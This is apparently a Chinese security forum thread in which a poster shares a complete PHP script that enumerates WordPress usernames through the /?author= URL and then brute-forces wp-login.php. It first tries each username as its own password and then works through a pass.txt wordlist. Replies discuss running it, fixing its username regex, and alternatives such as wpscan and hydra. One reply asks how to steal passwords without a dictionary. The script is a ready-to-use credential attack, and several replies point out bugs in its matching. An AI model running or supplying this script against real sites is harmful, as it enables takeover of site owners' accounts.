在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。
大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。
原理是通过URL /?author=
遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。
默认获取前10个用户,可自行修改。
使用方法:
php wordpress.php http://www.test.com
#!php
<?php
set_time_limit(0);
$domain = $argv[1];
//获取用户名
for ($i=1; $i <= 10; $i++) {
$url = $domain."/?author=".$i;
$response = httprequest($url,0);
if ($response == 404) {
continue;
}
$pattern = "/author\/(.*)\/feed/";
preg_match($pattern, $response, $name);
$namearray[] = $name[1];
}
echo "共获取用户".count($namearray)."名用户\n";
echo "正在破解用户名与密码相同的用户:\n";
$crackname = crackpassword($namearray,"same");
$passwords = file("pass.txt");
echo "正在破解弱口令用户:\n";
if ($crackname) {
$namearray = array_diff($namearray,$crackname);
}
crackpassword($namearray,$passwords);
function crackpassword($namearray,$passwords){
global $domain;
$crackname = "";
foreach ($namearray as $name) {
$url = $domain."/wp-login.php";
if ($passwords == "same") {
$post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $name"."\n";
$crackname[] = $name;
}
}else{
foreach ($passwords as $pass) {
$post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $pass"."\n";
}
}
}
}
return $crackname;
}
function httprequest($url,$post){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
if($post){
curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$output = curl_exec($ch);
$httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpcode == 404) {
return 404;
}else{
return $output;
}
}
?>
龙哥,这个脚本好眼熟...
求问 知道了攻击目标的大量用户名后该怎么不用字典的盗取密码?
顺便问一下 你这个怎么用啊 我小白
php wordpress.php http://www.test.com 这个使用方法看不懂啊
wpscan
@c4rp3nt3r wp的用户名获取实在是太蛋疼了,换成别的主题就又找不到。写正则太鸡肋了,你有比较好的办法么?
wordpress密码要求,最短是几位?
能把你写的放出来吗、楼主写的确实老是出现BUG。
$pattern = "/author\/(.*)\/feed/";
这个发现有的wp博客是不一样 不是完全适配,需要根据情况修改。这个是根据本地的一个情况匹配的。
这正则就是个错的。这都能通过,确实可以。
破解出来的用户密码在哪查看?测试了没有显示有
同求
你用post-form的时候,如果是国内的站,title 如果是中文呢,你怎么来进行编码还是怎样来获取登录错误的关键字呢/?
那该怎么办呢??、
目测没装curl扩展
Fatal error: Call to undefined function curl_init() in C:\PHP\php-5.2.12-Win32\w
ordpress-crack.php on line 62
求解!!
还不错
87
亲,我一直用hydra的http-post-form。还能多线程
有时候/?author=number的确找不到,不过这个找到的概率到时挺高的,支持下
我上面都说了哦
哈,的确,忽略了登录用户名跟title的用户名可能不一样,虽然这个产生的情况很少。那你程序取用户名,是从哪里获取的呢?
收藏下~
我觉得wpscan就不错,除非自己写个扫描器加入这个模块。嘿嘿。。。
昨天我刚好也写了一个wordpress枚举用户名的小功能,楼主这个程序里面,枚举用户名的地方有问题。
一是 里的用户名是该用户显示的时候的名字,比如 登录用户名 admin,可以设置成 Administrator或者什么。虽然很多是一样的,这里确实不严谨。另一方面wordpress版本比较多,各种seo插件也比较多枚举用户名,只用里的信息貌似很不够,
还有 <body class="archive author
以及 http://site/author/admin/
这种等等。
交流而已,没别的意思。
wordpress太张狂了,连个验证码都不加。
龙哥好流逼。
龙哥的东西一直很实用~
好东西啊